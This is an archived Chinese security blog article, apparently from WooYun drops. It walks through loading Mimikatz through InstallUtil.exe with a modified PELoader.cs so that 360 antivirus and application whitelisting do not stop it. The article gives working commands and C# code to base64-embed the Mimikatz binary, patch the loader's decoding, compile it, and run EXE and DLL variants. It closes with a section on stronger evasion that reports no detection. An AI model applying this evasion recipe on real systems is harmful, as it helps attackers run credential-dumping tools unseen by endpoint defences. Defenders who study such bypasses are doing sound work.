
        <html>
			<head>
			     <title>利用白名单绕过360实例 - 三好学生</title>
				 <meta http-equiv="content-type" content="text/html; charset=UTF-8">
			</head>
			<body>
				<h1>原文地址:<a href="http://drops.wooyun.org/tips/8701">http://drops.wooyun.org/tips/8701</a></h1>
				
      <p>
        <h1>0x00 前言</h1>

<hr />

<p>最近<code>subTee</code>在其博客中介绍了如何利用白名单绕过防护，但细节存在<code>bug</code>，所以本文仅介绍如何修复其<code>bug</code>并利用该方法绕过<code>360</code>，更多利用方法值得探索</p>

<p>博客链接：</p>

<p><a href="http://subt0x10.blogspot.hk/">http://subt0x10.blogspot.hk/</a>（需翻墙）</p>

<p>文章地址：</p>

<p><a href="http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html">http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html</a>（需翻墙）</p>

<h1>0x01 测试目标</h1>

<p>下载最新版本<code>Mimikatz</code>，实现绕过杀毒软件的查杀。</p>

<!--more-->

<h1>0x02 测试环境</h1>

<hr />

<p>操作系统：<code>Win7 x64</code></p>

<p>mimikatz版本：<code>2.0 alpha 20150906 (oe.eo) edition</code>（目前为止最新）</p>

<p>下载链接：<a href="https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906">https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906</a></p>

<p>测试日期：9/14/2015</p>

<h1>0x03 实际测试</h1>

<hr />

<p>建议先了解参考链接，链接中提到的相关基础知识不做再次介绍</p>

<h3>1、下载最新mimikatz，测试查杀情况</h3>

<p>毫无疑问，被查杀，如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043730336.png" alt="enter image description here" /></p>

<h3>2、利用InstallUtil.exe执行程序</h3>

<p><strong>（1）</strong>下载<a href="https://gist.github.com/subTee/00cdac8990584bd2c2fe">https://gist.github.com/subTee/00cdac8990584bd2c2fe</a>并保存为<code>PELoader.cs</code></p>

<p><strong>（2）</strong>参照博客中的示例，执行如下代码：</p>

<pre><code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs


C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
</code></pre>

<p>如图，生成<code>PELoader.exe</code>，然后通过<code>InstallUtil.exe</code>执行<code>PELoader.exe</code></p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043727092.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043751669.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043721554.png" alt="enter image description here" /></p>

<p>成功加载运行<code>mimikatz</code></p>

<p>进程显示为<code>InstallUtil.exe</code>，如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043848387.png" alt="enter image description here" /></p>

<p><strong>（3）</strong>测试生成的<code>PELoader.exe</code>查杀情况</p>

<p>如图，360成功检测威胁</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043874239.png" alt="enter image description here" /></p>

<p><strong>（4）</strong>尝试修改<code>PELoader.cs</code></p>

<p>阅读代码发现<code>Line853-856</code>存储了<code>base64</code>加密后的mimikatz</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043882790.png" alt="enter image description here" /></p>

<p>那么参照作者给出的修改方法修改</p>

<p>作者给出的修改方法如下：</p>

<pre><code>* Base64 Encode Mimikatz In PowerShell-  $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64")  * 
[OR] 
byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();  *
</code></pre>

<p><strong>（5）</strong>测试<code>Base64 Encode Mimikatz In PowerShell</code></p>

<p>按照作者给出的方法对<code>mimikatz</code>作<code>base64</code>编码并保存在Mimikatz.b64文件中</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043834365.png" alt="enter image description here" /></p>

<p>执行<code>Powershell</code>代码</p>

<p>执行后生成<code>Mimikatz.b64</code>，如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043945847.png" alt="enter image description here" /></p>

<p>打开将内容复制到<code>PELoader.cs</code>中的变量<code>KatzCompressed</code>的定义中，如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043941945.png" alt="enter image description here" /></p>

<p>按照步骤（2）执行测试，发现错误，如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043959995.png" alt="enter image description here" /></p>

<h1>0x04 分析</h1>

<hr />

<p>作者给出的实例代码如果无法修改，未免太鸡肋，必须找到修改方法，实现执行任意程序</p>

<h1>0x05 解决方案</h1>

<hr />

<p>在做了多次实验并研究代码后成功找到了错误原因：</p>

<p><code>Powershell</code>作<code>base64</code>编码同<code>c#</code>对<code>base64</code>解码之间存在解析错误</p>

<p>解决步骤：</p>

<p><strong>（1）</strong>使用c#对mimikatz作base64加密</p>

<p>代码如下：</p>

<pre><code>using System;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace test1
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe");
            String AsBase64String = Convert.ToBase64String(AsBytes);
            StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64");
            sw.Write(AsBase64String);
            sw.Close();
        }
    }
}
</code></pre>

<p>我使用的环境是<code>vs2012</code>，新建<code>c#</code>工程，填写以上代码，编译后运行，生成新的<code>mimikatz.b64</code>，如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511043928105.png" alt="enter image description here" /></p>

<p>细心的同学可以发现和之前使用<code>Powershell</code>生成的<code>mimikatz.b64</code>有所区别</p>

<p><strong>（2）</strong>替换变量<code>KatzCompressed</code>的定义内容</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044097150.png" alt="enter image description here" /></p>

<p><strong>（3）</strong>修改解密过程</p>

<p>定位<code>PELoader.cs</code> Line106，去掉</p>

<pre><code>byte[] decompressed = Decompress(FromBase64);
</code></pre>

<p>在前面添加“//”即可，如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044090952.png" alt="enter image description here" /></p>

<p><strong>（4）</strong>再次编译并利用<code>InstallUtil.exe</code>执行</p>

<pre><code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
</code></pre>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044062702.png" alt="enter image description here" /></p>

<p>证明修改成功，能够顺利执行我们修改的代码</p>

<p><strong>（5）</strong>增强免杀</p>

<p>采用如下生成步骤：</p>

<pre><code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll
</code></pre>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044029173.png" alt="enter image description here" /></p>

<p>也可以成功加载<code>mimikatz</code></p>

<p>测试查杀情况</p>

<p>如图</p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044090622.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044115036.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044161207.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044139994.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044182045.png" alt="enter image description here" /></p>

<p><img src="http://static.wooyun.org//drops/20150915/2015091511044261842.png" alt="enter image description here" /></p>

<p><strong>注：</strong>测试全过程开启360，主动防御未触发</p>

<h1>0x06 小结</h1>

<hr />

<p>通过<code>InstallUtil.exe</code>执行程序的方法不仅可使程序逃过杀毒软件的查杀，更能够规避程序运行白名单的限制，其他操作系统下的情况有所不同，更多细节值得研究。</p>

<p>参照<code>zone</code>中大家的建议，希望这篇文章是大家喜欢看到的类型：）</p>

<p>本文由三好学生原创并首发于乌云drops，转载请注明</p>      </p>
    
			</body>
		</html>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          